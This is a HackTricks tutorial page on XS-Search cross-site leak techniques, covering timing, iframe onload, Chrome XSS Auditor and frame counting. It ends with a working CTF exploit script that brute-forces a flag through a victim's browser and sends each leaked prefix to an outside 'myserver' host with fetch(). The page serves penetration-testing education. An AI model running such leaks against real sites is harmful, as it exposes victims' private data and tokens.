hacktricks/pentesting-web/xs-search.md

7.2 KiB

XS-Search

**The best resource to learn XS-Search is **https://xsleaks.dev/

XS-Search Time attack

Basically, you exploit a **CSRF vulnerability **to make a specific user access some **information **that the victim can access but you can't. Then, you **check **the **time **it take the request to be responded and depending on that you can know if the content was correctly accessed or not.

For example, imagine that the admin of a web page can **access all **the inside the **webfiles **service and **you only **can access yours, and you want to know the **content **of a **file **that starts with the string "flag".

There is a **CSRF **vulnerability in the seach by content function and you can make the admin visit any page. Then, you could make the admin visit a malicious web server (yours) that will **exploit **the **CSRF **and will make the victim **search for **the file that starts with "flag". The attacker will make a **loop **so it will make the victim search for every possibility in: flagX. Then, if a character took **more time **that the rest, you can **asume **that it was the **correct **one and you can start a new loop with "flag{X" until you get the flag.

That is the **idea **but in the **real world **you need queries that retrive content take much more time that the queries that doesn't return anything.

For more information you can read:

XS-Search - Iframe

Suppose that you can **insert **the **page **that has the secret content inside an Iframe.

You can make the victim search for the file that contains "flag" using an Iframe (exploiting a CSRF like in the prevous situation). Inside the Iframe you know that the _**onload event **_will be executed always at least once. Then, you can **change **the **URL **of the **iframe **but changing only the **content **of the **hash **inside the URL.

For example:

  1. URL1: www.attacker.com/xssearch#try1
  2. URL2: www.attacker.com/xssearch#try2

If the first URL was successfully loaded, then, when **changing **the **hash **part of the URL the **onload **event won't be triggered again. But **if **the page had some kind of **error **when loading, then, the **onload **event will be triggered again.

Then, you can **distinguish between **a **correctly **loaded page or page that has an **error **when is accessed.

If you can make the page error when the correct content is accessed and make it load correctly when any content is accessed, then you can make a loop to extract all the information without meassuring the time.

Iframe Chrome XSS Auditor

Imagine the **same situation as in the Timing attack method **and you also know that the **admin **is using a Chrome browser (for example, Chrome-headless) with Chrome XSS Auditor.

Then, you can use **iframes **to make the victim **search **for the page containing "flagX" (beeing X **any **possible character)inside a loop, and you also add to the URL inside the iframes a **fake parameter **that contains javascript code that will only appear when a valid content is retrived.

For example, if when you search for the content_ "my file"_ the web server responds with a page that **includes **this **javascript **code:

<script>console.log("you found someting");</script>

If you send a query like:

www.victim.com/search?q=my+file&fake_xss=<script>console.log("you+found+something");<script>

The Chrome XSS Auditor will block the page and an **error **will appear.

Then, you can use Chrome XSS Auditor to **launch an error **when a valid response is sent from the victim server. Then, with the **Iframe **trick you can **detect **when you have find a **file **that **contains **"flag" and the next valid character.

For more information: https://www.youtube.com/watch?v=HcrQy0C-hEA

Abusing Chrome XSS Auditor to steal tokens

Using the previous technique (with Chrome XSS Auditor) you can steal chunks of the code returned to a user (like tokens for example). For more information: https://portswigger.net/blog/abusing-chromes-xss-auditor-to-steal-tokens

Please, notice that you will steal information returned to a user and not any code from the web server.

Custom Detection

In the **fbcft2019 **the challenge: **secret note keeper **was resolved exploiting a XS-Search.

You could make the **administrator (a headlessChrome) visit any page **and there was a CSRF vulnerable page that was able to search files by content. You also **knew **that the **flag starts **by _**fb{ **_and only the admin had access to it.

It was also important to notice that when you made a search, the results of the seach **appeared inside **an iframe (if something was found). And none iframe appeared if **anything **was found.

So, you could make the admin visit your exploit that will be a loop of every possible charater inside _fb{X _inside an iframe. And using:

contentWindow.frames.length != 0

You could **check **how many iframes where created inside your iframe, and if any, then the **character **would be **correct **and you could start extracting the next one.

This is a code example of this from: https://sectt.github.io/writeups/FBCTF19/secret_note_keeper/README

<!DOCTYPE html>
<html>

<head>
    <title>fbctf secret note keeper</title>
</head>

<body></body>
<script>
var chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^`{|}~ ';
var charLen = chars.length;
var ENDPOINT = "http://challenges.fbctf.com:8082/search?query="
var x = document.createElement('iframe');

function search(leak, charCounter) {
    var curChar = chars[charCounter];
    //Chek if the character is valid
    x.setAttribute("src", 'http://challenges.fbctf.com:8082/search?query=' + leak + curChar);
    document.body.appendChild(x);
    console.log("leak = " + leak + curChar);
    //When the page inside the iframe is loaded
    x.onload = () => {
    //Check the number of iframes inside
        if (x.contentWindow.frames.length != 0) {
        // If 1 or more, then, the character was valid
            fetch('http://myserver/leak?' + escape(leak), {
                method: "POST",
                mode: "no-cors",
                credentials: "include"
            });
            leak += curChar
        }
        search(leak, (charCounter + 1) % chars.length);
    }
}

function exploit() {
    search("fb{", 0);
}

exploit();
</script>

</html>

More information

{% embed url="https://github.com/xsleaks/xsleaks" %}

https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle